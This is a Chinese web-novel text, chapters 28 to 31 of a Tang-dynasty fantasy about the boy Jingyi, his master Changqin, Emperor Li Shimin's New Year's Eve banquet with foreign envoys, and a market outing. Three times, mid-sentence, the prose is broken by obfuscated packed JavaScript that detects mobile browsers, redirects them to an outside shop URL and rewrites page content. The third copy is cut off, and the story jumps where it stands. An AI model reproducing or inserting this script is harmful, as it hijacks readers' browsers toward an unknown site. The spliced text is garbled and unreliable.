长琴站在窗前,看着父亲消失的方向,许久,唇角微微扬起一个极淡的弧度。 窗外,长安城沉浸在越来越浓的年味里。远处隐约传来试放爆竹的声响,噼里啪啦的,像是在催着旧岁快走,新年快来。 长琴走到院中,见李世民正送景颐回来。他手里捧着糖糕,蹦蹦跳跳跑过来:“师父!爷爷走了吗?” “嗯。”长琴摸摸他头,“他给你留了礼物。” 景颐打开锦囊,里面是枚赤红的小玉锁,刻着繁复的火焰纹,触手生温。玉锁下压着张字条,上面是祝融龙飞凤舞的字迹: 【给小景颐:戴着,辟邪,保暖,闯祸时能替你挡一顿揍。新年快乐。】 景颐挠挠头,有几个字不认识,但他识得最后四个字,是新年快乐! 他嘿嘿笑着,央着长琴把玉锁戴到他的脖子上。玉锁贴在心口,暖融融的,像那个总是来去匆匆的爷爷留下的拥抱。 李世民站在月洞门下,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147703|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一幕,没有上前打扰。他抬头望向夜空,那里星辰渐显,有一颗赤红色的星子格外明亮,在冬夜里如火焰般燃烧着。 “火德星君……”帝王低语,唇角扬起一个微不可察的弧度。 凝云轩的灯笼在夜风中轻摇,烛火透过红纱,将满院的残雪、散落的春联、还有孩子们的笑脸,都染成温暖的橘色。 —— 夜深了,凝云轩西厢房里还亮着灯。 景颐趴在榻上,把今天得来的小玩意儿一样样摆开:已经化得只剩半个身子的糖麒麟、拨浪鼓、面具、还有那盏兔子灯笼,不过蜡烛已经烧完了,只剩个空壳子。 他拿起祝融给的赤红玉锁,借着烛光仔细看。玉锁上的火焰纹路仿佛在流动,摸上去温温的,贴在胸口时有种奇异的安心感。 门外传来极轻的脚步声。 “师父!”景颐立刻坐起来。 长琴推门进来,手里端着碗热腾腾的杏仁酪:“还不睡?” “师父你看!”景颐献宝似的把一堆玩意儿推过去,“爷爷给我买的!” 长琴在榻边坐下,揉了揉他的头:“玩得开心?” “嗯!”景颐接过杏仁酪,边喝边眉飞色舞地讲,“爷爷带我吃了醪糟圆子,撒了好多桂花蜜!还看了皮影戏,可好玩了!” 他忽然想到什么,噗嗤笑出来,“对了对了,爷爷还说师父小时候挑食!” 长琴神色微不可察地一变,有些不自然。 “他说你小时候啊,跟其他小孩不一样,不爱吃肉,只喜欢吃青菜。”景颐学着祝融的语气, “‘那小子,当着我面装模作样夹两块肉,等我一扭头,立刻把肉扒拉到一边,光吃菜!’真的吗师父?” 长琴轻咳一声:“……父亲夸大其词。” “我就知道!”景颐得意,“师父现在什么都吃,肉也吃!” 长琴不动声色地转移话题:“玩了一天,明日该练字了。” “知道知道!”景颐喝完最后一口杏仁酪,滚到被窝里,“明天练字!” 长琴替他掖好被角,眼底泛起一丝笑意。 “对了师父,”景颐忽然又从被子里探出头,“爷爷说明年还来看我们,真的会来吗?” “父亲言出必行。” “那就好!”景颐心满意足地闭上眼,手里还攥着那枚玉锁,“师父晚安!” “晚安。” 长琴吹熄蜡烛,轻手轻脚退出房间。 廊下,冬夜的寒风凛冽。长琴仰头望向夜空,那颗赤红色的星子依然明亮。 他想起父亲傍晚时说的那些话,“李世民那小子,挺有意思。” 父亲很少这样评价人,上一次被他这样说的,还是…… 长琴摇摇头,不再去想。转身回房时,脚步却比往日轻快了些。 而在长安城某条小巷深处,那个醪糟摊还亮着灯。 祝融不知何时又回到了这里,正坐在条凳上慢悠悠喝第三碗醪糟。摊主是个老头,跟他有一搭没一搭地闲聊。 “郎君不是本地人吧?听着口音不像。” “路过,过几天就走。”祝融舀起一勺酒酿,桂花香混着淡淡的酒气,“您这醪糟酿得好,米香足,酒味正。” “祖传的手艺!”老头得意,“我爷爷那辈儿就在这儿摆摊了。” 祝融笑了笑,仰头把碗里的醪糟喝完。热乎乎的酒意从胃里漫上来,暖遍四肢百骸。 人间烟火,最抚凡人心。 也抚神仙心。 他放下铜钱,起身时脚步微微晃了晃。摊主忙问:“郎君没事吧?这醪糟后劲可大!” “没事,”祝融摆摆手,笑容在灯笼光里格外明亮,“正好,睡个好觉。” 他哼着不知名的小调,晃晃悠悠走进夜色深处。巷口的灯笼把他的影子拉得长长的,那影子也晃晃悠悠的,像个快乐的醉汉。 今夜长安,酒香四溢,好梦正酣。 29.第 29 章 腊月三十的酉初时分,天色将暗未暗,长安城已被一片暖黄的灯笼海点亮。凝云轩内,景颐正被两个宫女围着打扮。 “小郎君抬手……对,这只袖子。” 年长些的宫女小心翼翼地将宝蓝色锦缎小袄套在景颐身上。袄子是长孙皇后特意吩咐尚服局赶制的,用最柔软的吴缎,内衬细绒,领口袖边镶着一指宽的白狐风毛,既华贵又不失童趣。 另一个宫女跪在地上,正给景颐穿鹿皮小靴。靴面用金线绣着祥云纹,靴口还缀了圈细小的金铃,走起路来叮当作响。 “能不能不戴这个?”景颐苦着脸,指了指桌上那对金丝发带。 “这是皇后娘娘赏的,得戴。”宫女笑着,将他原本松散扎着的两个小髻解开,重新梳理。景颐的头发又软又黑,在烛光下泛着淡淡光泽。宫女灵巧地将头发分成两股,在耳侧各编了个小辫,再用金丝发带系成对称的双髻。 长琴从内室走出时,看到的便是这番景象。他今日也换了装束,白金色暗云纹深衣,外罩淡青色鹤氅。虽仍是清冷模样,但这身打扮让他多了三分人间烟火气。 “师父!”景颐眼睛一亮,哒哒哒跑过去,靴上金铃清脆作响,“好看吗?” 长琴打量他片刻,伸手将他衣领上一根翘起的狐毛抚平:“嗯。” 就这一个字,景颐却笑开了花。他知道师父从不说虚话,说“嗯”就是真的觉得好。 院外传来铃铛声,由远及近。丽质一身绯红宫装出现在月洞门口,披着雪白的狐裘斗篷,手里提着盏莲花形琉璃灯。灯内烛火透过粉红琉璃,在她脸上映出柔和光晕。 她身后跟着李治,小家伙穿着缩小版的玄色朝服,头戴远游冠,一本正经地迈着步子,偏生脸蛋圆鼓鼓的,反差得可爱。 “先生。”丽质向长琴行礼,礼仪标准得无可挑剔。过了今夜她就是十岁了,一举一动已初显长孙皇后的风范,端庄中带着天然的亲和力。 长琴微微颔首:“有劳公主。” “景颐!”李治先绷不住严肃,跑过来拉住景颐的手,“娘娘说今晚有好多好吃的,还有杂耍看!” 景颐立刻被转移了注意力:“什么杂耍?” “吐火罗的幻术,还有高车人的绳技!”李泰的声音从院外传来。他今日穿着紫色圆领袍,头戴玉冠,圆脸上满是兴奋,“快走快走,去晚了就看不着了!” 长琴目送三个孩子簇拥着离去,李丽质细心地替景颐整理了下斗篷系带。待他们身影消失在宫道转角,他才转身回屋。 屋中琴案上,凤来琴静静横陈。长琴指尖拂过新换的蛟筋弦,父亲所赠的琴弦已换上,音色果然清越非凡,隐隐有龙吟之韵。 他从袖中取出那枚避水珏,莹白贝壳在烛光下流转着淡蓝水纹。 三月东海归墟……时间不多了。 两仪殿内,数百盏宫灯将这座大唐最重要的宫殿照得亮如白昼。 殿高九丈,深十二间,朱漆巨柱需两人合抱。此刻每根柱旁都立着鎏金仙鹤灯架,鹤嘴衔着的灯碗中,儿臂粗的蜡烛熊熊燃烧,融化的烛泪如琥珀般堆积。 穹顶垂下三十六盏巨型莲花吊灯,每盏都由上百片琉璃拼成,折射出的光晕将整个大殿笼罩在梦幻般的暖金色中。 殿中央铺着巨幅波斯地毯,猩红的底色上用金线织出繁复的缠枝莲纹。地毯四周,筵席如雁翅排开。左右各三列,每列十二席,皆是用整块紫檀木雕成的食案。 每张食案上已摆满冷盘点心:雕成牡丹、孔雀形的蜜饯攒盒,堆成宝塔状的千层酥,每层酥皮薄如蝉翼,晶莹剔透的水晶肴肉,还有用萝卜雕成的龙凤、用面塑捏的十二生肖,栩栩如生。 御座设在殿北高台,高出地面三尺。李世民与长孙皇后并肩而坐,皆着绛红礼服。 李世民头戴黑介帻,上加通天冠,冠前垂十二旒白玉珠串,身着十二章纹衮服。他今日眉宇总算松快了不少,笑看着殿内众人。 长孙皇后则身着深青色钿钗礼衣。衣身绣十二行金线翚翟纹,外罩同色大袖襦。头戴九龙四凤花树冠,两侧博鬓饰翡翠云片,垂下六条珠珞。整套妆饰华贵庄重,将她端方温雅的气度衬得愈显雍容。 她端坐在御座上,目光温柔地扫过下方席位的孩子们。李承乾、李泰、李丽质、李治,还有被安排在皇子席的景颐,都规规矩矩坐着,小脸在宫灯下泛着兴奋的红光。 “陛下,”长孙皇后微微侧身,声音压得只有两人能听见,“景颐那孩子今日倒安静。” 李世民顺着她的目光看去,笑了:“怕是憋着劲儿等看热闹呢。” 景颐确实在努力保持安静,李承乾就坐在他左手边,太子殿下今日格外沉稳,不时低声提醒弟弟妹妹们礼仪。 景颐学着他的样子挺直腰板,双手放在膝上,偏生那双眼睛不安分地转来转去,打量着殿中一切。 李泰坐在景颐右手边,早就按捺不住了。他凑过来,用袖子遮着嘴小声说:“景颐你看那边,那些铜鹤灯,嘴里吐出的烟是香的!加了沉水香!” 景颐吸吸鼻子,果然闻到空气中若有若无的沉香气息,混着酒香、食物香、还有百官身上佩的香囊气息,织成一种独属于皇宫盛宴的馥郁氛围。 殿门处,太常寺赞礼官高唱:“诸藩使臣——入殿觐见——” 殿门大开,寒风裹着雪沫卷入,却被殿中暖意瞬间消融。一行服饰各异的使臣鱼贯而入。 为首的是一对中年夫妇。男子约莫四十余岁,高鼻深目,头戴金冠,身着紫色圆领回鹘袍,腰束玉带,正是高昌国王麴文泰。他身旁的王妃宇文氏约三十许,穿着高昌贵族女子的锦绣长裙,外罩轻纱帔巾。 二人行至御座前,依唐礼跪拜:“臣麴文泰,妾宇文氏,恭祝皇帝陛下、皇后殿下新岁吉祥,大唐国运昌隆!” 李世民与长孙皇后含笑抬手:“王与王妃平身,赐座。” 第二个上前的是吐蕃大论禄东赞。他身材高大,赭面涂着暗红色膏脂,耳垂戴着寸许大的金环,身着左衽豹皮镶边袍。 “吐蕃使臣禄东赞,恭祝大唐皇帝如雪山永固,如雅鲁藏布江长流!”他的汉语不如麴文泰流利,却字字铿锵。 李世民对这吐蕃重臣颇为重视,温声道:“大论远来辛苦。赞普可有书信?” 禄东赞从怀中取出一卷用牦牛皮包裹的信札,双手奉上:“赞普亲笔书信在此。赞普言,吐蕃愿永为大唐西屏,共保丝路安宁。” 这话说得漂亮,殿中百官纷纷颔首。李世民展开信札看了几眼,笑容更盛:“赞普美意,朕心领了。赐座。” 接着是回纥、薛延陀、新罗、百济、靺鞨等部族使臣依次上前。殿中回荡着各种口音的汉语贺词,热闹非凡。 使臣们被引至专设的蕃臣席,位置虽在百官之后,却与皇室家眷席相邻。 景颐好奇地打量着那些异族人,他第一次同时见到这么多不同模样、不同装扮的人。 禄东赞的座位恰在景颐斜前方。这位吐蕃大论入座时,从怀中取出一串紫檀木念珠,轻轻拨动。念珠共一百零八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151097|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗,每颗都雕刻着微小的六字真言,在宫灯下泛着幽暗的光泽。 景颐的目光落在那串念珠上,眼睛忽然眨了眨,他看见了另一个画面:雪山之巅的寺庙中,一位老喇嘛将这串念珠郑重地放在年轻禄东赞手中,嘴唇翕动说着什么…… “景颐?”李承乾轻声提醒,“莫要一直盯着看。” 景颐回神,发现禄东赞正似笑非笑地看向他。那眼神锐利,却又带着几分好奇。景颐对他露齿一笑,连忙低头,假装摆弄桌上的金杯。 随后,使臣们开始献礼。 麴文泰的礼物最是耀眼,十二匹纯白大宛马,由侍从牵着在殿外展示。马匹高大神骏,通体雪白无一根杂毛,马鞍马镫皆用金银打造,镶嵌各色宝石。另有高昌特产的葡萄酒百坛、葡萄干千斤。 禄东赞献上吐蕃珍宝:三尺高的纯金释迦牟尼坐像一尊,佛像眉间镶嵌鸽卵大的红宝石;牦牛尾拂尘十柄,尾毛洁白如雪;还有整张完整的雪豹皮三张,毛色油亮,斑纹如画。 回纥献宝马鞍具,薛延陀献貂皮大氅,新罗献千年人参,百济献海东青……珍奇异宝琳琅满目,堆满了殿侧的长案。 李世民一一笑纳,命内侍记档,并当场赐下相应回礼:丝绸、瓷器、茶叶、金银器皿,价值皆不低于贡品。 酉正二刻,宴席正式开始。 编钟与编磬同时奏响,清越的金属声与温润的石器声交织成《雍和》之乐。这是祭祀天地的大乐,用在除夕宴上,彰显着大唐对上苍的敬畏与感恩。 乐声中,百官举杯起身,面向御座齐声贺道:“臣等恭祝陛下、皇后,新岁安康,大唐永昌!” “众卿平身。”李世民抬手,声音浑厚有力,“今日除夕,君臣同乐,不必过多拘礼。” 话虽如此,礼数却一丝不乱。先是侍中宣读新年贺表,接着是三省长官依次敬酒,然后是教坊司的乐舞上场。 第一支舞是《七德舞》,这是根据《秦王破阵乐》改编的宫廷舞。六十四名舞者分八列,着金甲,执戟盾,在鼓点中变换阵型。时而如雁阵展翅,时而如长蛇盘旋,舞至高潮处,所有舞者齐声高喝,戟盾相击,铿锵之声震得殿梁微尘簌簌。 景颐看得眼睛都不眨。他眸中映着跃动的烛火与金甲反光,那些舞者的身影在他眼中仿佛重叠起来,变成六百个、六千个,在旷野上列阵冲杀。 “景颐。”李承乾轻轻碰了碰他手臂。 景颐猛地回神,眼中的幻影散去。他眨眨眼,发现舞已结束,舞者正列队退场。 “你看入神了。”李承乾低声道,“喝点蜜水。” 景颐乖乖捧起面前的金杯,里面是用蜂蜜、桂花、冰糖调的饮子,温温的,甜而不腻。 接下来是教坊司女乐。先是十六名舞姬着青绿襦裙,舞《清商乐》,水袖翩跹如烟。接着是《剑器舞》,八名红衣少女执剑而舞,剑光如雪,英气逼人。然后才是众人期待的龟兹胡旋。 鼓声一变,急促如雨点。十二名胡姬踏着鼓点旋入殿中,她们身着薄纱胡服,赤足,足踝系着金铃,腰肢束得极细。随着鼓点加快,舞姬们开始旋转,彩裙绽成一朵朵怒放的花,金铃声响成一片清脆的急雨。 李泰兴奋得直拍案:“好!好!” 景颐也看呆了。他从未见过这样的舞蹈。那些胡姬仿佛不知疲倦,越转越快,最后几乎成了十二团彩色的旋风。而她们脸上的笑容却始终灿烂,眼神明亮如星。 胡旋舞罢,殿中掌声雷动。舞姬们喘息着行礼退下,香汗已浸透薄纱。 30.第 30 章 而后宴席进入了最欢快的阶段。教坊司搬上各种杂耍戏具,吐火罗的幻术师率先登场。 那是个白发白须的老者,身着五彩斑斓的宽袍。他先向御座行礼,然后从袖中掏出一把铜钱,往空中一抛,铜钱在半空中叮当作响,排成一条游动的钱龙,绕殿飞了三圈,才哗啦一声落回他手中。 “好!”满殿喝彩。 老者又取出一只空铜盆,往空中一泼,清水如瀑布般倾泻,但在落地前瞬间凝结成无数冰晶,在宫灯照耀下折射出七彩光华,如天女散花。 “哇!”孩子们惊呼。 景颐眼睛瞪大,他看出来了,那老者袖中藏着极细的硝石粉,泼水时悄悄撒出,硝石遇水吸热,让水瞬间结冰。不是什么法术,是巧妙的戏法。 他正想凑到李泰耳边解说,却见李承乾对他轻轻摇头。太子殿下眼神温和:看破不说破,方是礼仪。 景颐乖乖闭了嘴,继续看表演。 接下来是绳技。两个高车少女在殿中拉起一根麻绳,离地一丈高。其中一个少女轻盈跃上,在绳上行走如履平地,甚至还能翻筋斗、倒立。最后她单足立于绳上,缓缓张开双臂,臂上竟各站着一只白鸽,扑棱棱飞起,在殿中盘旋。 乐声再起,这次是各国使臣献艺。回纥吹笛,吐蕃献舞…… 李世民看得兴致盎然,举杯道:“四海一家,今日同乐!诸使臣皆有赏!” “谢陛下!”使臣们齐声应和,殿中气氛愈发热烈。 酒过数巡,许多人已有了醉意。李世民面色微红,忽然起身笑道:“朕听闻,草原上有句话,最美的歌要唱给最尊贵的人,最欢快的舞要跳给最亲近的人。今日在座皆是大唐的肱骨、远方的朋友、朕的家人!” 他顿了顿,目光扫过全场:“如此良辰,如此佳宴,岂能只坐着看?诸卿,可愿与朕共舞?” 此言一出,殿中霎时寂静。 皇帝邀臣子共舞?这……于礼不合啊。 长孙皇后却抿嘴轻笑,竟也起身,挽起大袖襦袖口:“陛下既有此雅兴,妾愿相随。” 帝后都起身了,谁还敢坐着? 程咬金第一个跳起来,这位老将军喝得满面红光,大笑道:“陛下!老臣虽舞姿不佳,但愿助兴!” 他这一带头,武将们纷纷响应。尉迟恭、秦琼、侯君集……这些平日威严的大将,此刻都笑着起身。 文臣们面面相觑。房玄龄和长孙无忌相视苦笑,却也挽手起身。魏徵板着脸,却也没驳皇帝面子,规规矩矩地站到场边。 李世民哈哈大笑,率先走入殿中空地。太常寺乐正何等机灵,立刻指挥乐工换曲,奏起欢快的《春莺啭》。 鼓点轻快,笙箫悠扬。皇帝随着乐声踏起步子,挥袖转身间自有一股开国君王的豪迈气度。 长孙皇后紧随其后,她左手轻提翟衣下摆,随着乐声缓缓旋转。冠上的珠翠划出流光,深青翟衣上的金线翚翟在烛火下仿佛展翅欲飞。虽身着最庄重的礼服,她的舞姿却端庄中透着灵动,威仪里含着欢欣。 “娘娘好美……”丽质喃喃道,眼中满是崇拜。 李承乾灌下一杯酒,起身向弟弟妹妹们伸手:“来。” 李泰第一个响应,一把拉起景颐:“景颐!我教你!” 景颐懵懵懂懂地被拉进场中,他哪里会跳舞,只能学着前面人的样子胡乱踏步。宝蓝色锦袄的下摆随着动作甩来甩去,靴上金铃叮当乱响,配上他努力模仿却总是慢半拍的动作,活像只误入鹤群的笨拙小鸭子。 丽质笑着牵起他另一只手:“跟着我,左、右、左、右……对!” 皇子公主们全数加入。李治年纪尚小,被宫人拉着在场边跺脚,咯咯直笑。 大臣们彻底放开了。房玄龄和长孙无忌手挽手跳起来,虽然动作迟缓,却满脸笑容。魏徵板着脸踏着极其规整的步子,每一步都像在度量衡。程咬金则完全放飞自我,扭腰摆臀,活像个胡旋舞者,引得周围人哈哈大笑。 使臣们也被这气氛感染。禄东赞大笑着加入,他跳的是改良过的吐蕃舞,豪迈中带着几分宫廷舞的规整。回纥使者吹着骨笛在场边伴奏,脚还跟着打拍子。高昌王夫妇相携旋转翻领袍袖飞舞如蝶。 渐渐地,所有人自发地手拉手,围成一个大圈。皇帝、皇后、太子、公主、皇子、宰相、将军、使臣……身份地位的差别在这一刻模糊了,所有人都只是这除夕夜里,想要尽情欢笑的普通人。 圈越转越快,乐声越来越急。笑声、歌声、踏地声、金铃声、骨笛声、还有杯盘偶尔被碰倒的脆响。所有声音混成一片热烈澎湃的洪流,冲上殿梁,震得宫灯都在轻轻摇晃。 景颐被丽质和李承乾一左一右牵着,在人群里转了一圈又一圈。他脸颊红扑扑的,眼睛映着满殿跃动的烛火,那些灯火在他眼中连成一片温暖的光海。 他忽然想起祝融说的话,“过年就要开开心心的”。 他现在,真的真的很开心。 胸口的玉锁持续散发着暖意,那暖意流遍全身,让他一点都不觉得累。 场中,李世民与长孙皇后舞至一处。皇帝伸手,皇后将手搭在他掌心,两人相视一笑,在乐声中缓缓旋转。那一刻,他们不是帝后,只是一对在除夕夜共舞的寻常夫妻。 长琴的席位早已空了。他在舞会开始不久便悄然离席。他终究不习惯这般喧闹,但此刻他站在殿外的廊下,望着殿内的欢乐景象。 寒风卷着雪沫扑在他脸上,他却觉得心头某处,微微地暖了起来。 子时将近,乐声渐歇。 众人气喘吁吁地回到席位,个个面色红润,额角见汗,发髻微乱。程咬金的玉冠歪到了一边,房玄龄的胡须上还沾着酒渍,禄东赞的豹皮袍子敞开了一半。但这些都无损他们的笑容。 李世民举杯做最后致词。他声音因饮酒和舞蹈而有些沙哑,却满是畅快:“今夜,朕看见了武将的豪迈,文臣的洒脱,使臣的真诚,还有朕的孩子们最纯真的笑脸。” 他顿了顿,目光缓缓扫过全场,每一个人的脸:“这就是朕想要的大唐,不是高高在上的天朝上国,而是一个能让所有人安心欢笑、能让四海宾朋如归的家。” “愿我大唐——”他高高举杯,“岁岁有今日,年年有今朝!” “愿大唐永昌!” 殿中所有人,无论君臣、无论华夷,齐声高呼。那声音汇成一股洪流,冲出殿门,在除夕夜的皇宫上空久久回荡。 宴散了。 景颐被丽质牵着往外走,一步三回头。殿中宫人们开始收拾杯盘,乐工们整理乐器,那些璀璨的宫灯一盏盏熄灭,温暖的光海渐渐褪去。 走到殿门口时,景颐忽然回头看向使臣席,禄东赞正与麴文泰交谈什么,手中仍捻着那串紫檀念珠。念珠在宫灯下泛着幽光,某一颗珠子上似乎刻着个极小的图案…… 景颐眼睛一凝,他看清了,那是只展翅的鹰。 而这只鹰,他在梦中见过。在雪山之巅,在那位老喇嘛交给年轻禄东赞念珠时,老喇嘛的袈裟袖口就绣着同样的鹰纹。 那一瞬间,景颐脑海又闪过画面:一间昏暗的帐篷里,年轻的禄东赞跪在一位老者面前,老者将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“睡吧。” 长琴吹熄蜡烛,轻手轻脚退出房间。他没有立刻离开,而是在廊下静立了片刻。 此刻子时正,旧岁已除,新岁伊始。远处长安城坊间,隐约还能听到爆竹声、欢笑声、更夫报时的梆子声。那些声音混在一起,织成新年的第一首夜曲。 而在皇宫西北角的天工苑内,几个老匠人还未休息。他们正小心翼翼地将第一批试验成功的爆竹装箱封存。这些用新配方制成的爆竹,威力比传统竹节大了十倍不止,点燃后声响如雷,能炸开三尺厚的积雪。 但还远未到李世民梦中那种开山裂石的程度。 王匠人将最后一箱封好,直起腰,揉了揉酸痛的肩膀。他望向窗外皇宫方向,那里灯火已熄了大半。老匠人轻声喃喃:“陛下要的利器……路还长啊。” 李世民回到甘露殿时,醉意已散了大半。 他站在窗前,手中摩挲着长琴所赠的奇异果实,而它能让梦境更清晰。 今夜宴会上的种种画面在他脑中回放:百官的笑容、使臣的真诚、孩子们的笑脸、还有观音婢跳舞时活泼模样…… 最后定格在所有人在殿中手拉手共舞的画面。 这样的盛世,他要它长久。 不只是他在位的这些年,他要这盛世能传下去,传给他的子孙,传给百年、千年后的大唐子民。 窗外,雪又悄悄下了起来。细细的,柔柔的,在宫灯的光晕中如碎玉般飘洒。它们覆盖了宫道上的脚印,覆盖了宴席散尽的余温,覆盖了旧岁所有的遗憾与不足。 只留下一片纯白,等待新年的第一缕阳光。 而此刻,长安城一百零八坊中,千家万户都还亮着灯。守岁的人们围炉夜话,孩童们枕着压岁钱入睡,更夫敲着梆子走过空荡的街巷…… 这是贞观四年的除夕夜。 这是李世民治下的,正在迈向盛世的大唐。 31.第 31 章 新年的第一缕阳光照进凝云轩时,景颐还在被窝里蜷成一团。昨夜守岁到子时,又跳了那么久的舞,小家伙睡得格外沉。 长琴轻轻推门进来,将一碗冒着热气的元宝馄饨放在床头小几上。馄饨是尚食局特制的,皮薄馅大,汤里加了虾米、紫菜和蛋丝,香气很快弥漫了整个房间。 被窝里的小鼓包动了动。先是一绺黑发从被子边缘探出来,接着是半张睡眼惺忪的脸,眼睛半眯着,鼻子却像被无形的手牵着,直往碗的方向凑。 “醒了就起来。”长琴的声音带着难得的温和,“今日元日,陛下特许休沐七日。皇后说,要带你们出宫走走。” “出宫?!”景颐瞬间睁眼,眼睛亮得惊人,“真的吗?去哪儿?什么时候?” “巳时出发。”长琴替他拿来新衣,是一件寻常富家小公子穿的青色小袍,外罩兔毛坎肩,“快些洗漱。” 景颐,穿衣洗漱一气呵成,三两下扒完馄饨。等他跑到凝云轩门口时,丽质和李治已经在那儿等着了。 丽质今日换了身桃粉襦裙,外罩浅蓝半臂,头发梳成双环髻,只插了支珍珠簪,比昨日少了几分华贵,多了几分少女的清新。李治则穿着靛蓝小袍,头戴幞头,像个小书生。 “景颐!”李治兴奋地拉住他,“娘娘说带我们去西市看百戏!还有胡人卖艺!” “耶耶和大兄、四兄也去。”丽质补充道,眼中闪着期待的光,“耶耶说,今日不讲君臣,只论父子,让我们……嗯,让我们好好玩。” 这话说得景颐更兴奋了。他想起昨夜宴会上万国共舞的景象,想起那些奇装异服的胡人,想起甜滋滋的葡萄美酒,想起喷火的幻术师……今天又能亲眼看见了! 三人叽叽喳喳说笑着往安福门走。宫道上已经清扫干净,积雪堆在墙角,宫人们正在挂新的红灯笼。远处传来隐约的爆竹声,那是宫外百姓家在放开门炮。 既是微服出游,皇帝的仪仗自然不能大张旗鼓。事实上,根本没有仪仗。 巳时正,两辆不起眼的青篷马车停在安福门内的宫道上。马车是寻常富商用的那种,青布车篷,榆木车厢,连拉车的马都是普通的枣红马,马具朴素无华。 李世民今日穿了一身赭红色暗纹常服,外披灰鼠皮大氅,头戴黑色软脚幞头,腰束革带,脚蹬乌皮靴。乍一看,像个家境殷实、气度不凡的中年商人。 长孙皇后则是一身藕荷色交领襦裙,外罩银狐斗篷,发髻简单绾成单髻,只用一支素玉簪固定。她脸上薄施脂粉,眉间贴了枚小巧的红色花钿,眉目温婉,正笑着和李世民说着话。 李承乾和李泰站在父母身后。太子殿下穿着深蓝色圆领袍,努力想摆出沉稳模样,但那双眼睛里跳动的兴奋光芒藏不住。李泰则是一身绛红胡服,腰束革带,足蹬皮靴,头发用金环束成高马尾,活脱脱个准备撒欢的小郎君。 “都到齐了?”李世民环视众人,眼中带着轻松笑意,“今日出宫,约法三章:一不许称陛下皇后,二不许行大礼,三不许摆架子。一切称呼与民间一致。记住了吗?” “记住了!”孩子们齐声应道,个个眉开眼笑。 “先生,”李世民转向长琴,拱手道,“今日有劳您照看这些皮猴。” “分内之事。”长琴还礼。 侍卫牵来两匹马。一匹是通体乌黑的骏马,四蹄如雪,是李世民的坐骑乌骓,另一匹是青骢马,毛色油亮,安静温顺。 李世民翻身上马,动作利落。长琴也轻身跃上青骢马背,衣袂在晨光中飘拂。 孩子们往马车去。李承乾先扶长孙皇后上了前车,丽质和李治跟着上去。李泰正要上车,忽然眼珠一转,回头看向景颐:“景颐,想不想骑马?” 景颐眼睛一亮:“想!” 他哒哒哒跑到长琴马前,仰着小脸,张开胳膊:“师父!带我!” 长琴还未答话,李泰已经大笑着跑过来,一把将景颐拦腰抱起:“得了吧你!先生那马可驮不动两个!来,跟我坐车!” 景颐还没反应过来,就被李泰像拎小猫似的拎起来,塞进了后车车厢。车里铺着厚实的羊毛毯,李承乾已经在里面坐定了。 “四弟!”太子不赞同地皱眉,“莫要胡闹。” “哪儿胡闹了?”李泰笑嘻嘻地在景颐旁边坐下,“这不是怕他摔着嘛!” 李世民朗声笑道:“走!”一抖缰绳,马儿缓步前行,长琴策马跟上。车夫甩了个响鞭,马车辘辘驶出安福门,融入了长安城新年第一日的喧嚣人海。 正月初一的长安西市,热闹得简直要把屋顶掀翻。 马车在西市坊门前停稳时,喧闹的声浪已经像温热的潮水般涌了过来。 李治第一个扒开车窗,圆溜溜的眼睛瞪得老大:“哇——好多人!” 只见坊门内,人流如织,彩幡飘扬。卖糖人的、吹面人的、耍猴的、演傀儡戏的……各色摊子沿街排开,吆喝声此起彼伏,混着孩童的笑闹声、爆竹的噼啪声,织成一片沸腾的新年乐章。 “都下车吧。”李世民先利落地翻身下马,转身去扶长孙皇后下车。她今日那身藕荷色襦裙在阳光下泛着柔和光泽,银狐斗篷的毛领衬得她面容温婉。 丽质提着裙摆跳下车,鹅黄襦裙的裙摆旋开一朵花。 李承乾扶着李治下车,太子殿下今日努力想显得沉稳,但嘴角的笑意压不住。李泰最是利落,直接蹦下来,绛红胡服像团火。 “哎哟!”景颐也想学李泰往下跳,被长琴伸手轻轻一提,稳稳落地。 “师父!”景颐仰头,眼睛亮晶晶的,“这里好热闹!” 长琴今日换了白金常服,外罩鹤氅,站在闹市街口仍是一身清寂。他微微颔首,目光扫过坊门内的人潮,眉头几不可察地动了动,太吵了。 “都跟紧!”李世民提高声音,坊门前的喧闹几乎要把人声淹没,“高明牵好雉奴,青雀你看好景颐,三娘跟着你阿娘!” 孩子们齐齐应声,眼睛都亮晶晶的。 正要进坊门,忽听身后传来惊讶的唤声:“陛下……李公?” 回头一看,竟是魏徵与夫人提着竹篮站在不远处。魏徵今日没穿官服,一身深青布袍,头上戴了个普通的黑色幞头,手里篮子里装着还带着露水的青菜、两条活蹦乱跳的鲤鱼。魏夫人则是一身靛蓝襦裙,挽着发髻,温婉朴实。 “魏公、魏夫人。”李世民含笑拱手,“也来买年货?” 魏徵愣了愣,连忙放下篮子要行礼,被长孙皇后含笑扶住:“今日不论那些,只当是邻里串门。” “是、是。”魏徵直起身,目光落在孩子们身上,严肃的脸上难得露出慈和笑意。 几个孩子规规矩矩行礼:“魏伯伯、魏伯母安好。” 魏夫人从篮里摸出几个红彤彤的柿子,塞给孩子们:“东市那边买的,甜得很。” 孩子们道谢接过。魏徵又低声对李世民道:“西市今日人多,李公可要多留心。” “有劳魏公挂心。”李世民笑道,“你们这是要去……” 